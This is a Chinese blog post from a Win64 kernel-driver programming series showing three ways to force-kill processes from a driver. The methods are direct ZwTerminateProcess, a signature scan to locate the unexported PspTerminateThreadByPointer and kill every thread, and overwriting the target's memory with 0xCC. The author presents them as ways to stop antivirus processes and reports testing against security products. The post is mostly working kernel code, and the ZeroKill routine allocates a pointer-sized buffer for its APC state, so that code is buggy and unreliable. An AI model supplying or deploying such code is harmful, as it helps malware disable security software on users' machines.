zoukankan      html  css  js  c++  java
  • Win64 驱动内核编程-26.强制结束进程

    强制结束进程

        依然已经走到驱动这一层了,那么通常结束掉一个进程不是什么难的事情。同时因为win64 位的各种保护,导致大家慢慢的已经不敢HOOK了,当然这指的是产品。作为学习和破解的话当然可以尝试各种hook。目前来说很多杀软进程保护都是通过回调了保护的,简单,稳定,安全。So,强制结束进程会比当年简单很多。

    首先就是上一个最基本的驱动里结束进程的方法:

     

    1.直接调用ZwTerminateProcess去结束进程,这个是公开导出的函数,也就是说它很稳定。不要小看这个东西,我测试过很多杀软。目前停不掉的只有国外的 某伞,可能有人会关心国内的各种卫士能不能停掉!我觉得可以尝试一下,通常不会失望。OK不废话,上代码:

    TerminateProcess ->NtTerminateProcess ->ZwTerminateProcess
    
    void ZwKillProcess(HANDLE hdPid)
    {
    __try {
        HANDLE hProcess = NULL;
        CLIENT_ID ClientId = {0};
        OBJECT_ATTRIBUTES oa = {0};
        ClientId.UniqueProcess = (HANDLE)hdPid; 
        ClientId.UniqueThread = 0;
        oa.Length = sizeof(oa);
        oa.RootDirectory = 0;
        oa.ObjectName = 0;
        oa.Attributes = 0;
        oa.SecurityDescriptor = 0;
        oa.SecurityQualityOfService = 0;
        ZwOpenProcess(&hProcess, 1, &oa, &ClientId);
        if (hProcess)
        {
            ZwTerminateProcess(hProcess, 0);
            ZwClose(hProcess);
        };
      }
      __except (EXCEPTION_EXECUTE_HANDLER)
     {;}}
    

    2.方法2就是通过PsTerminateSystemThread找到PspTerminateThreadByPointer

     

    下面是Win7 64 双机调试 windbg获取的信息


        然后要找到Win7 64PspTerminateThreadByPointer结构(注意下面的是win7 64每个系统要单独去找):

    typedef NTSTATUS (__fastcall *PSPTERMINATETHREADBYPOINTER)
    (
    IN PETHREAD Thread,
    IN NTSTATUS ExitStatus,
    IN BOOLEAN DirectTerminate
    );

        然后就是定位一个特征码,从PsTerminateSystemThread开始往下找,直接把学习资料的代码拿过来吧,作者是定位了01e8也就是两条汇编指令相关的部分。然后自定义了一个计算公式hash这个特征码,代码如下(这个地方不固定,定位的越长,越准确):

    if(PspTerminateThreadByPointer==NULL)
    {
    	AddressOfPsTST=(ULONG64)GetFunctionAddr(L"PsTerminateSystemThread");
    	if(AddressOfPsTST==0)
    		return STATUS_UNSUCCESSFUL;
    	for(i=1;i<0xff;i++)
    	{
    		if(MmIsAddressValid((PVOID)(AddressOfPsTST+i))!=FALSE)
    		{
    		if(*(BYTE*)(AddressOfPsTST+i)==0x01&&*(BYTE*)(AddressOfPsTST+i+1)==0xe8) //目标地址-原始地址-5=机器码 ==> 目标地址=机器码+5+原始地址
    			{
    				RtlMoveMemory(&callcode,(PVOID)(AddressOfPsTST+i+2),4);
    				AddressOfPspTTBP=(ULONG64)callcode + 5 + AddressOfPsTST+i+1;
    			}
    		}
    	}
    PspTerminateThreadByPointer=(PSPTERMINATETHREADBYPOINTER)AddressOfPspTTBP;
    	}

        找到函数位置之后,剩下的可以直接枚举线程id,找到进程id,通过进程id进行对比之后决定是否结束掉这个线程。

    for(i=4;i<0x40000;i+=4)
    {
        status=PsLookupThreadByThreadId((HANDLE)i, &Thread);
        if(NT_SUCCESS(status))
        {
        tProcess=IoThreadToProcess(Thread);
        if(tProcess==Process)
        PspTerminateThreadByPointer(Thread,0,1);
        ObDereferenceObject(Thread);
        }
    }

    3.第三种方式就是强行切到对方内存里,然后直接 进程虚拟内存擦除(这个自己也会退出,但是可以继续打开新进程链接服务干活,或者擦除的时候就直接启动一个擦除进程):

    BOOLEAN ZeroKill(ULONG PID)   //X32  X64
    {
        NTSTATUS ntStatus = STATUS_SUCCESS;
        int i = 0;
        PVOID handle;
        PEPROCESS Eprocess;
        ntStatus = PsLookupProcessByProcessId(PID, &Eprocess);
        if (NT_SUCCESS(ntStatus))
        {
        PKAPC_STATEpKs=(PKAPC_STATE)ExAllocatePool(NonPagedPool, sizeof(PKAPC_STATE));
        KeStackAttachProcess(Eprocess , pKs);//Attach进程虚拟空间
        for (i = 0; i <= 0x7fffffff; i += 0x1000)
        {
        if (MmIsAddressValid((PVOID)i))
            {
                _try
               {
                  ProbeForWrite((PVOID)i,0x1000,sizeof(ULONG));
                  memset((PVOID)i,0xcc,0x1000);
               }_except(1){continue;}
         }else{
          if (i>0x1000000)  //填这么多足够破坏进程数据了  
             break;
          }
       }
        KeUnstackDetachProcess(pKs);
        if (ObOpenObjectByPointer((PVOID)Eprocess, 0, NULL, 0, NULL, KernelMode, &handle) != STATUS_SUCCESS)
            return FALSE;
        ZwTerminateProcess((HANDLE)handle, STATUS_SUCCESS);
        ZwClose((HANDLE)handle);
        return TRUE;
        }
        return FALSE;
    }


  • 相关阅读:
    Java实现各种内部排序算法
    Java实现堆排序(大根堆)
    Java对象的序列化和反序列化
    Java实现链式存储的二叉查找树(递归方法)
    337. House Robber III(包含I和II)
    318. Maximum Product of Word Lengths
    114. Flatten Binary Tree to Linked List
    106. Construct Binary Tree from Inorder and Postorder Traversal
    105. Construct Binary Tree from Preorder and Inorder Traversal
    96. Unique Binary Search Trees(I 和 II)
  • 原文地址:https://www.cnblogs.com/csnd/p/12061993.html
Copyright © 2011-2022 走看看